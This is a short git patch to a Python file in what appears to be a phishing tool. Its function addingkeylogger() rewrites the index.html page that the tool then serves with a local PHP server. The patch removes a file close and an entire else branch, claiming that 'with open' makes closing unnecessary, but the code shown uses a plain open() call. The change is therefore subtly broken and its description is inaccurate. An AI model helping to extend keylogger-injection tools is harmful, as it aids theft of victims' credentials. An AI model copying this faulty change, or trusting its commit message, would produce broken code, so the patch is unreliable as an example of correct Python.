From 802748f3a565f6df96f1469a56ab46e826cf0de9 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sun, 17 Feb 2019 07:12:38 +0500 Subject: [PATCH] Update Actions.py file does not need closing when using with open @An0nUD4Y . --- Defs/Actions.py | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/Defs/Actions.py b/Defs/Actions.py index 889b9bc..64532a3 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -313,18 +313,7 @@ def addingkeylogger(): c = read_data.replace('', '') f = open('Server/www/index.html', 'w') f.write(c) - f.close() - - print(_("\n\n{1}[{0}??{1}]{0} Keylogger Added {1}Successfully...\n").format(RED, DEFAULT)) - sleep(7.5) - - else: - pass - print(_("\n\n{1}[{0}!!{1}]{0} Keylogger {1}Not Added{0}... \n").format(RED, DEFAULT)) - sleep(7.0) - - - + def runServer(): system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &")